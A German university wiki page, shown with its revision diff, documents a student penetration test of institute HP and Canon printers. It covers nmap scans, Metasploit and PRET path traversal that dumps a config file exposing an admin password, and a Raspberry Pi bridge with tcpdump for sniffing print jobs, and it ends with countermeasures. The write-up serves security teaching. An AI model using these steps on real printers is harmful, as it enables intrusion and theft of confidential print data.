Hacking Printers: Difference between revisions

From
Jump to navigation Jump to search
mNo edit summary
 
(19 intermediate revisions by 3 users not shown)
Line 1: Line 1:
==Printer Hacking How-To==
'$> command'

==Motivation und Szenario==
==Motivation und Szenario==
Drucker sind weit verbreitete Geräte und stellen auf den ersten Blick kein lohnendes Angriffsziel dar. Das führt dazu, dass Updates teils nicht konsequent durchgeführt werden. So fand <ref> Jens Müller. [Exploting Network Printers] Master's Thesis. 2016. </ref> allein in Deutschland fast 2000 über das Internet erreichbare Drucker und in vielen getesteten Modellen gravierende Sicherheitslücken.
Drucker sind weit verbreitete Geräte und stellen auf den ersten Blick kein lohnendes Angriffsziel dar. Das führt dazu, dass Updates teils nicht konsequent durchgeführt werden. So fand <ref> Jens Müller. [Exploting Network Printers] Master's Thesis. 2016. </ref> allein in Deutschland fast 2000 über das Internet erreichbare Drucker und in vielen getesteten Modellen gravierende Sicherheitslücken.
Line 7: Line 4:
Außerdem enthalten Druckjobs potentiell vertrauliche Daten, die für einen Angreifer wertvoll sein könnten.
Außerdem enthalten Druckjobs potentiell vertrauliche Daten, die für einen Angreifer wertvoll sein könnten.


Dies motivierte uns dazu am Informatikinstitut eingesetzte Drucker auf Schwachstellen zu überprüfen und zu versuchen in das System des Druckers einzudringen.
Dies motivierte uns dazu, am Informatikinstitut eingesetzte Drucker auf Schwachstellen zu überprüfen und zu versuchen in das System des Druckers einzudringen.
Als Leitfrage beschäftigte uns, ob dies einem Angreifer möglich ist, der keine Programmierkenntnisse besitzt und somit nicht in der Lage ist selbstständig Exploits zu entwickeln.
Als Leitfrage beschäftigte uns, ob dies einem Angreifer möglich ist, der keine Programmierkenntnisse besitzt und somit nicht in der Lage ist selbstständig Exploits zu entwickeln.


Line 14: Line 11:


Die von uns getesten Angriffe waren auf zwei der drei getesteten Drucker erfolgreich, was es uns erlaubte das Administratorpasswort zu erlangen und somit vollen Zugriff
Die von uns getesten Angriffe waren auf zwei der drei getesteten Drucker erfolgreich, was es uns erlaubte das Administratorpasswort zu erlangen und somit vollen Zugriff
auf das Gerät zu erhalten.
auf das Gerät zu erhalten.


http://hacking-printers.net/wiki/index.php/Port_9100_printing
http://hacking-printers.net/wiki/index.php/Port_9100_printing





==Informationsbeschaffung==
==Informationsbeschaffung==

"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Glücklicherweise gibt es diverse Tools, die das ausspähen bzw. die Informationsbeschaffung erleichtern können.
"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Die Methode des Social Engineerings haben wir absichtlich außen vor gelassen. Glücklicherweise gibt es diverse Tools, die das ausspähen beziehungsweise die Informationsbeschaffung erleichtern können.



* [https://nmap.org/ NMAP] erlaubt das Scannen von IP-Adressbereichen auf offene Ports sowie die darauf angebotenen Dienste.
* [https://nmap.org/ NMAP] erlaubt das Scannen von IP-Adressbereichen auf offene Ports sowie die darauf angebotenen Dienste.


Beispiel:
Beispiel:
<code>
<pre>
$> nmap -A 192.168.188.22
$> nmap -A 192.168.188.22
Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-11 11:33 CEST
Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-11 11:33 CEST
Nmap scan report for 192.168.188.22
Nmap scan report for 192.168.188.22
Host is up (0.00093s latency).
Host is up (0.00093s latency).
Not shown: 991 closed ports
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
PORT STATE SERVICE VERSION
21/tcp open ftp HP JetDirect ftpd
21/tcp open ftp HP JetDirect ftpd
23/tcp open telnet HP JetDirect printer telnetd
23/tcp open telnet HP JetDirect printer telnetd
80/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
80/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
| http-title: hp LaserJet 4250
| http-title: hp LaserJet 4250
|_Requested resource was /hp/device/this.LCDispatcher
|_Requested resource was /hp/device/this.LCDispatcher
280/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
280/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
| http-title: hp LaserJet 4250
| http-title: hp LaserJet 4250
|_Requested resource was /hp/device/this.LCDispatcher
|_Requested resource was /hp/device/this.LCDispatcher
443/tcp open ssl/https?
443/tcp open ssl/https?
|_ssl-date: 2017-10-11T11:03:52+00:00; +1h28m45s from scanner time.
|_ssl-date: 2017-10-11T11:03:52+00:00; +1h28m45s from scanner time.
515/tcp open printer
515/tcp open printer
7627/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
7627/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
|_http-server-header: HP-ChaiSOE/1.0
|_http-server-header: HP-ChaiSOE/1.0
9100/tcp open jetdirect?
9100/tcp open jetdirect?
14000/tcp open tcpwrapped
14000/tcp open tcpwrapped
MAC Address: 00:12:79:7E:EB:AE (Hewlett Packard)
MAC Address: 00:12:79:7E:EB:AE (Hewlett Packard)
</code>
</pre>


* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].
* [https://www.tenable.com/products/nessus-vulnerability-scanner Nessus] ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa [https://cve.mitre.org/index.html CVE].
* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.
* Das Lesen von Dokumentation der Zielgeräte kann auch reichhaltige Informationen zu sicherheitskritischen Aspekten liefern, beispielsweise erlaubte Zeichen und Länge von Passwörtern oder Sicherheitslücken, die in Patchnotes Erwähnung finden.



[[File:Screenshot_from_2017-10-11.png|mini|683x384px]]


* [http://www.openvas.org/ OpenVAS] ist eine Open Source Alternative zu Nessus.
* Das Lesen von Dokumentation der Zielgeräte kann auch reichhaltige Informationen zu sicherheitskritischen Aspekten liefern, beispielsweise erlaubte Zeichen und Länge von Passwörtern oder Sicherheitslücken, die in Patchnotes Erwähnung finden.


==Schwachstellen ausnutzen==
==Schwachstellen ausnutzen==

==Metasploit==
Metasploit ist ein Framework, das eine Liste von bekannte Schwachstellen mitbringt, und im Gegensatz zu den bereits genannten Vulenrability Scannern auch mit konfigurierbarer Payload ausnutzen kann.


==Druckersprachen==
==Druckersprachen==
* PCL<ref> Wikipedia. [https://en.wikipedia.org/wiki/PostScript PostScript]. Accessed 11.10.2017</ref>: Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt.
1. PCL
Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt.
2. PJL
Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage abgefragt werden
3. PS


* PJL<ref> Wikipedia. [https://en.wikipedia.org/wiki/PJL PJL]. Accessed 11.10.2017</ref>: Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage des druckenden Rechners abgefragt werden. Die Auxiliary Module von Metasploit benutzen die PJL.

* PS<ref> Wikipedia. [https://en.wikipedia.org/wiki/PCL PCL]. Accessed 11.10.2017</ref>: PostScript ist eine turingvollständige Sprache zur Spezifikation von Druckjobs. Unter anderem ist der Zugriff auf das Dateisystem des Druckers implementiert, was die Grundlage der ausgenutzten Sicherheitslücken darstellt.


==Tools==
==Tools==
* [https://www.thc.org/thc-hydra/ Hydra] ist ein Programm zum automatisierten massenhaften ausprobieren von Nutzerkennung-Passwort-Kombinationen auf Anmeldemasken. Dieses Vorgehen nennt man auch einen brute-force-Angriff. Hydra erlaubt die Einstellung verschiedener Passwort-Generierungs-Muster und unterstützt mehrere Login-Protokolle, beispielsweise <pre>http-post</pre> oder <pre>ftp</pre> Zur Konfiguration steht sowohl ein CLI als auch ein zusätzlich installierbares GUI zur Verfügung. Diese herangehensweise ist allerdings nur praktikabel, wenn der Vorgang parallelisierbar ist. Dies war im Kontext des Einbrechens in einen Drucker nicht möglich, weshalb dieser Angriff trotz bekannter Einschänkungen der Passwortkomplexität in unserem Fall nicht praktikabel war.

* [https://www.metasploit.com/ Metasploit] erlaubt es bekannte Schwachstellen automatisiert auszunutzen. Zu einer bekannten Vulnerability wird ein Modul implementiert, das einen konfigurierbaren Payload per Kommandozeilenbefehl
auf dem Ziel platziert.

Beispiel:
<pre>
msf > use auxiliary/scanner/printer/printer_list_dir
msf auxiliary(printer_list_dir) > info

Name: Printer Directory Listing Scanner
Module: auxiliary/scanner/printer/printer_list_dir
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
wvu <wvu@metasploit.com>
sinn3r <sinn3r@metasploit.com>
MC <mc@metasploit.com>
Myo Soe
Matteo Cantoni <goony@nothink.org>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH 0:\..\..\.. yes Remote path
RHOSTS yes The target address range or CIDR identifier
RPORT 9100 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads

Description:
This module lists a directory on a set of printers using the Printer
Job Language (PJL) protocol.

References:
https://en.wikipedia.org/wiki/Printer_Job_Language

msf auxiliary(printer_list_dir) > set RHOSTS 192.168.188.22
RHOSTS => 192.168.188.22
msf auxiliary(printer_list_dir) > run
[+] 192.168.188.22:9100 - 192.168.188.22:9100 - . TYPE=DIR
.. TYPE=DIR
bin TYPE=DIR
etc TYPE=DIR
hpmnt TYPE=DIR
hp TYPE=DIR
lib TYPE=DIR
dev TYPE=DIR
init TYPE=FILE SIZE=1276
.profile TYPE=FILE SIZE=834
tmp TYPE=DIR
pipe TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
</pre>


* [https://github.com/RUB-NDS/PRET PRET] Das Printer Exploitation Toolkit ist im Rahmen einer Masterarbeit an der Ruhr Universität in Bochum entstanden. Dieses Programm baut eine Verbindung zu einem via Netzwerk oder USB angeschlossenen Drucker auf und nutzt eine der vorgestellten Druckersprachen zur Absetzung von Befehlen. Entsprechend der unterschiedlichen Mächtigkeit dieser Sprachen fällt auch die Menge der unterstützten Befehle unterschiedlich groß aus.
* [https://github.com/RUB-NDS/PRET PRET] Das Printer Exploitation Toolkit ist im Rahmen einer Masterarbeit an der Ruhr Universität in Bochum entstanden. Dieses Programm baut eine Verbindung zu einem via Netzwerk oder USB angeschlossenen Drucker auf und nutzt eine der vorgestellten Druckersprachen zur Absetzung von Befehlen. Entsprechend der unterschiedlichen Mächtigkeit dieser Sprachen fällt auch die Menge der unterstützten Befehle unterschiedlich groß aus.


Beispiel:
Beispiel:
<code>
<pre>
pret <printer ip> ps
$> pret <printer ip> ps
</code>
</pre>


<pre>
Zu den möglichen Befehlen gehören ha
192.168.188.22:/> ?


192.168.188.22:/> ?
Available commands (type help <topic>):
=======================================
append date discover get loop put set version
capture debug dump hang ls pwd shell
cat delete edit help mirror rename site
cd destroy exit hold mkdir replace timeout
chvol devices find id open reset touch
close df format known overlay resource traversal
config dicts free load pagecount restart unlock
cross disable fuzz lock print search uptime




Available commands (type help <topic>):
=======================================
append date discover get loop put set version
capture debug dump hang ls pwd shell
cat delete edit help mirror rename site
cd destroy exit hold mkdir replace timeout
chvol devices find id open reset touch
close df format known overlay resource traversal
config dicts free load pagecount restart unlock
cross disable fuzz lock print search uptime
</pre>
<pre>
192.168.188.22:/> ls ../../..
- 834 Jul 9 2000 (created Jul 9 2000) .profile
d - Jan 1 1970 (created Jan 1 1970) bin
d - Jan 1 1970 (created Jan 1 1970) dev
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) hp
d - Jan 1 1970 (created Jan 1 1970) hpmnt
- 1276 Dec 16 2003 (created Oct 11 12:57) init
d - Jan 1 1970 (created Jan 1 1970) lib
d - Jan 1 1970 (created Jan 1 1970) tmp
</pre>


<pre>
192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0
Size mismatch (should: 0, is: 86016).




$> cat rdsk_jdi_cfg0
SFS1.0^@^@@^F^B^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@SFFSFILE^M^@^C^@<D6>[^@^@^@^@^@^@dm^@^P<D6>[^B^@3<89>^A^D^@^@^@^@^@^A^@1<89>^A^D^@^C^@^@^@%^@^K<98>^A^Q^@hp LaserJet 4250^@@^@^K<88>^A^D^@^@^@^@^@a^@^K<88>^A^D^@^@^@^@^@^M^@ <88>^A^D^@^^^@^@<AA>^L^@^L<91>
^A^O^@^C^@^A^@^AӞGX^@^Ry~<EB><AE>^M^@^L<90>^A^F^@^@^Ry~<EB><AE>^\^@ <88>^A^D^@^O^@^@^@^A^@0<88>^A^D^@<^@^@^@^D^@0<98>^A^_^@http://www.hp.com/go/jetdirect^@^E^@0<98>^A^]^@http://www.hp.com/go/support^@^B^@0<98>^A^A^@^@^C^@0<98>^A^A^@^@^F^@0<88>^A^D^@^A^@^@^@^K^@0<88>^A^D^@^@^@^@^@^L^@0<88>^A^D^@^A^@^@^@^O^@0<88>^A^D^@^B^@^@^@^P^@0<88>^A^D^@^@^@^@^@^Q^@0<88>^A^D^@P^@^@^@^R^@0<98>^A^A^@^@^S^@0<98>^A^A
^@^@^T^@0<98>^A^A^@^@^U^@0<98>^A^A^@^@^M^@0<88>^A^D^@^B^@^@^@^H^@C<88>^A^D^@^@^@^@^@^@^@^L<90>^A^F^@<FF><FF><FF><FF><FF><FF>^A
^L<88>^A^D^@^A^@^@^@^B
^L<88>^A^D^@^@^@^@^@^C
^L<88>^A^D^@^@^@^@^@^E
^L<88>^A^D^@^A^@^@^@!^@^B<98>^A^B^@*^@"^@^B<88>^A^D^@^A^@^@^@#^@^B<88>^A^D^@^D^@^@^@$^@^B<88>^A^D^@^@<FF>^@^@%^@^B<98>^A^Q^@hp LaserJet 4250^@&^@^B<88>^A^D^@^@^@^@^@^^ ^A<88>^A^D^@^@^@^@^@^R^P^A<88>^A^D^@^@^@^@^@^F^P^A<88>^A^D^@^F^@^@^@ ^P^A<88>^A^D^@^@^@^@^@^M^P^A<88>^A^D^@^@^@^@^@^N^P^A<88>^A^D^@^@^@^@^@^T^P^A<88>^A^D^@<80>#^Q^@^Y^P^A<88>^A^D^@<C0><91>^H^@^Z^P^A<88>^A^D^@^P<FF>^N^@! ^A<88>^A^D^@^E^@
^@^@" ^A<88>^A^D^@^E^@^@^@'^P^A<88>^A^D^@^C^@^@^@+^P^A<88>^A^D^@^N^A^@^@,^P^A<88>^A^D^@^B^@^@^@.^P^A<88>^A^D^@^@^@^@^@/^P^A<88>^A^D^@^@^@^@^@1^P^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@2^P^A<88>^B^D^@^A^@^@^@^D^@
^A^@^@^@4^P^A<88>^A^D^@^@^@^@^@3^P^A<88>^A^D^@<84>^C^@^@6^P^A<88>^A^D^@^@^@^@^@?^P^A<90>^A^D^@^@^@^@^@^D ^A<88>^A^D^@
^@^@^@^E ^A<88>^A^D^@^G^@^@^@^X ^A<88>^A^D^@^B^@^@^@^D@^A<88>^B^D^@^\^A^P^G^D^@^@^P^@^@^E@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^H@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^K@^A<88>^B^D^@^@^@^@^@^D^@^D^@^@^@
@^A<88>^B^D^@<80>^@^@P^D^@@^@^@^@ @^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^L@^A<88>^B^D^@^\^A^P^G^D^@^@^P^@^@^M@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@ ^A<88>^A^D^@^@^@^@^@7^P^A<88>^A^D^@^A^@^@^@^E<80>^A<88>^A^D^@^@^@^@^@&^P^A<88>^A^D^@^E^@^@^@-^P^A<88>^A^D^@^D^@^@^@^T^@^A<A0>^A^D^@<C0><A8><BC>^A^A^P^A<A0>^A^D^@<C0><A8><BC>^V^B^P^A<A0>^A^D^@<FF><FF><FF>^@^C^P^A<A0>^A^D^@<C0><A8><BC>^A^D^P^A<A0>^A^D^@<C0><A8><BC>^A^E^P^A<A0>^A^D^@^@^@^@^@^P^P^A<A0>^A^D^@^@^@^@^@^V^P^A<A0>^A^D^@^@^@^@^@^W^P^A<A0>^A^D^@^@^@^@^@^X^P^A<A0>^A^D^@<C0><A8><BC>^A9^P^A<A0>^A^D^@^@^@^@^@^Z ^A<A0>^A^D^@^@^@^@^@^G^P^A<98>^A ^@LPR-WOLF^@^H^P^A<98>^A
^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@
<80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@
</pre>


Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers.
Außerdem erlaubt PostScript die Manipulation vorhandener Dateien. Durch das Pathtraversal lassen sich so auch systemkritische Files wie binaries oder die Firmware manipulieren und eine root-Shell sollte so ohne größere Probleme geöffnet werden können.
Dies haben wir allerdings nicht versucht, da wir den Drucker nicht beschädigen wollten.






==Physischer Man-In-The-Middle==
Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.

<pre>
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
brctl addbr bridge0
brctl addif bridge0 eth0
brctl addif bridge0 eth1
ifconfig bridge0 up
</pre>

Anschließend kann mithilfe des Programms <pre>tcpdump</pre> der Netzwerkverkehr mitgeschnitten werden.
<pre>
$> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file
</pre>

Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.

Der geschilderte Angriff bietet sich natürllich nur an, wenn physischer Zugang zu dem Zieldrucker besteht und zu erwarten ist, dass die entsprechenden Geräte auf absehbare Zeit nicht entdeckt werden. Hier sind integrierte Lösungen im Vorteil, die idealerweise [https://en.wikipedia.org/wiki/Power_over_Ethernet PoE-fähig] sind und den mitgeschnittenen Netzwerkverkehr drahtlos weiterleiten können.

==Gegenmaßnahmen==
* '''Path traversal''':
** Die Lücke wurde in neueren Firmwareversionen geschlossen, daher reicht ein einfaches Patchen des Systems aus
** Sollte PostScript nicht unbedingt notwendig sein, könnte die Unterstützung deaktiviert werden
* '''Physischer Man-in-the-Middle''':
** SSL-Verschlüsselung der Printjobs
** Absuchen des Druckers vor Drucken von sensiblen Dokumenten


==Literatur- und Quellenverzeichnis==
==Literatur- und Quellenverzeichnis==
<references/>
<references/>

==Weiterführende Literatur==
* Messner, Michael: Hacking mit Metasploit, 2. Auflage. ISBN: 978-3-86490-224-6
* Printer Language Technical Reference Manual, http://www.hp.com/ctg/Manual/bpl13210.pdf, abgerufen am 10.10.2017

Latest revision as of 07:21, 17 October 2017

Motivation und Szenario

Drucker sind weit verbreitete Geräte und stellen auf den ersten Blick kein lohnendes Angriffsziel dar. Das führt dazu, dass Updates teils nicht konsequent durchgeführt werden. So fand <ref> Jens Müller. [Exploting Network Printers] Master's Thesis. 2016. </ref> allein in Deutschland fast 2000 über das Internet erreichbare Drucker und in vielen getesteten Modellen gravierende Sicherheitslücken. Entgegen ihrer augenscheinlichen Harmlosigkeit läuft auf den von uns getesteten Druckern ein vollwertiges Betriebssystem und lassen sich daher von einem erfolgreichen Angreifer zu nützlichen Bots umfunktionieren. Außerdem enthalten Druckjobs potentiell vertrauliche Daten, die für einen Angreifer wertvoll sein könnten.

Dies motivierte uns dazu, am Informatikinstitut eingesetzte Drucker auf Schwachstellen zu überprüfen und zu versuchen in das System des Druckers einzudringen. Als Leitfrage beschäftigte uns, ob dies einem Angreifer möglich ist, der keine Programmierkenntnisse besitzt und somit nicht in der Lage ist selbstständig Exploits zu entwickeln.

Wir konzentrierten uns auf drei verschiedene Geräte: einen (1) Canon ImageRunner 3225, einen (2) HP LaserJet 4250n und einen (3) HP LaserJet CD3505dn. Zur Durchführung unserer Angriffe beschränkten wir uns auf vorgefertigte Penetrationtesting Tools wie Hydra, MetaSploit oder Nessus.

Die von uns getesten Angriffe waren auf zwei der drei getesteten Drucker erfolgreich, was es uns erlaubte das Administratorpasswort zu erlangen und somit vollen Zugriff auf das Gerät zu erhalten.

http://hacking-printers.net/wiki/index.php/Port_9100_printing


Informationsbeschaffung

"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Die Methode des Social Engineerings haben wir absichtlich außen vor gelassen. Glücklicherweise gibt es diverse Tools, die das ausspähen beziehungsweise die Informationsbeschaffung erleichtern können.


  • NMAP erlaubt das Scannen von IP-Adressbereichen auf offene Ports sowie die darauf angebotenen Dienste.

Beispiel:

  $> nmap -A 192.168.188.22
  Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-11 11:33 CEST
  Nmap scan report for 192.168.188.22
  Host is up (0.00093s latency).
  Not shown: 991 closed ports
  PORT      STATE SERVICE    VERSION
  21/tcp    open  ftp        HP JetDirect ftpd
  23/tcp    open  telnet     HP JetDirect printer telnetd
  80/tcp    open  http       HP-ChaiSOE 1.0 (HP LaserJet http config)
  | http-title: hp LaserJet 4250
  |_Requested resource was /hp/device/this.LCDispatcher
  280/tcp   open  http       HP-ChaiSOE 1.0 (HP LaserJet http config)
  | http-title: hp LaserJet 4250
  |_Requested resource was /hp/device/this.LCDispatcher
  443/tcp   open  ssl/https?
  |_ssl-date: 2017-10-11T11:03:52+00:00; +1h28m45s from scanner time.
  515/tcp   open  printer
  7627/tcp  open  http       HP-ChaiSOE 1.0 (HP LaserJet http config)
  |_http-server-header: HP-ChaiSOE/1.0
  9100/tcp  open  jetdirect?
  14000/tcp open  tcpwrapped
  MAC Address: 00:12:79:7E:EB:AE (Hewlett Packard)
  • Nessus ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa CVE.

mini

  • OpenVAS ist eine Open Source Alternative zu Nessus.
  • Das Lesen von Dokumentation der Zielgeräte kann auch reichhaltige Informationen zu sicherheitskritischen Aspekten liefern, beispielsweise erlaubte Zeichen und Länge von Passwörtern oder Sicherheitslücken, die in Patchnotes Erwähnung finden.

Schwachstellen ausnutzen

Druckersprachen

  • PCL<ref> Wikipedia. PostScript. Accessed 11.10.2017</ref>: Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt.
  • PJL<ref> Wikipedia. PJL. Accessed 11.10.2017</ref>: Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage des druckenden Rechners abgefragt werden. Die Auxiliary Module von Metasploit benutzen die PJL.
  • PS<ref> Wikipedia. PCL. Accessed 11.10.2017</ref>: PostScript ist eine turingvollständige Sprache zur Spezifikation von Druckjobs. Unter anderem ist der Zugriff auf das Dateisystem des Druckers implementiert, was die Grundlage der ausgenutzten Sicherheitslücken darstellt.

Tools

  • Hydra ist ein Programm zum automatisierten massenhaften ausprobieren von Nutzerkennung-Passwort-Kombinationen auf Anmeldemasken. Dieses Vorgehen nennt man auch einen brute-force-Angriff. Hydra erlaubt die Einstellung verschiedener Passwort-Generierungs-Muster und unterstützt mehrere Login-Protokolle, beispielsweise
    http-post
    oder
    ftp
    Zur Konfiguration steht sowohl ein CLI als auch ein zusätzlich installierbares GUI zur Verfügung. Diese herangehensweise ist allerdings nur praktikabel, wenn der Vorgang parallelisierbar ist. Dies war im Kontext des Einbrechens in einen Drucker nicht möglich, weshalb dieser Angriff trotz bekannter Einschänkungen der Passwortkomplexität in unserem Fall nicht praktikabel war.
  • Metasploit erlaubt es bekannte Schwachstellen automatisiert auszunutzen. Zu einer bekannten Vulnerability wird ein Modul implementiert, das einen konfigurierbaren Payload per Kommandozeilenbefehl

auf dem Ziel platziert.

Beispiel:

    msf > use auxiliary/scanner/printer/printer_list_dir
    msf auxiliary(printer_list_dir) > info

       Name: Printer Directory Listing Scanner
     Module: auxiliary/scanner/printer/printer_list_dir
    License: Metasploit Framework License (BSD)
       Rank: Normal

  Provided by:
    wvu <wvu@metasploit.com>
    sinn3r <sinn3r@metasploit.com>
    MC <mc@metasploit.com>
    Myo Soe
    Matteo Cantoni <goony@nothink.org>

  Basic options:
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    PATH     0:\..\..\..      yes       Remote path
    RHOSTS                    yes       The target address range or CIDR identifier
    RPORT    9100             yes       The target port (TCP)
    THREADS  1                yes       The number of concurrent threads

  Description:
    This module lists a directory on a set of printers using the Printer 
    Job Language (PJL) protocol.

  References:
    https://en.wikipedia.org/wiki/Printer_Job_Language

  msf auxiliary(printer_list_dir) > set RHOSTS 192.168.188.22
  RHOSTS => 192.168.188.22
  msf auxiliary(printer_list_dir) > run
  [+] 192.168.188.22:9100   - 192.168.188.22:9100 - . TYPE=DIR
  .. TYPE=DIR
  bin TYPE=DIR
  etc TYPE=DIR
  hpmnt TYPE=DIR
  hp TYPE=DIR
  lib TYPE=DIR
  dev TYPE=DIR
  init TYPE=FILE SIZE=1276
  .profile TYPE=FILE SIZE=834
  tmp TYPE=DIR
  pipe TYPE=DIR

  [*] Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed


  • PRET Das Printer Exploitation Toolkit ist im Rahmen einer Masterarbeit an der Ruhr Universität in Bochum entstanden. Dieses Programm baut eine Verbindung zu einem via Netzwerk oder USB angeschlossenen Drucker auf und nutzt eine der vorgestellten Druckersprachen zur Absetzung von Befehlen. Entsprechend der unterschiedlichen Mächtigkeit dieser Sprachen fällt auch die Menge der unterstützten Befehle unterschiedlich groß aus.

Beispiel:

$> pret <printer ip> ps

    192.168.188.22:/> ?


  Available commands (type help <topic>):
  =======================================
  append   date     discover  get    loop       put       set        version
  capture  debug    dump      hang   ls         pwd       shell    
  cat      delete   edit      help   mirror     rename    site     
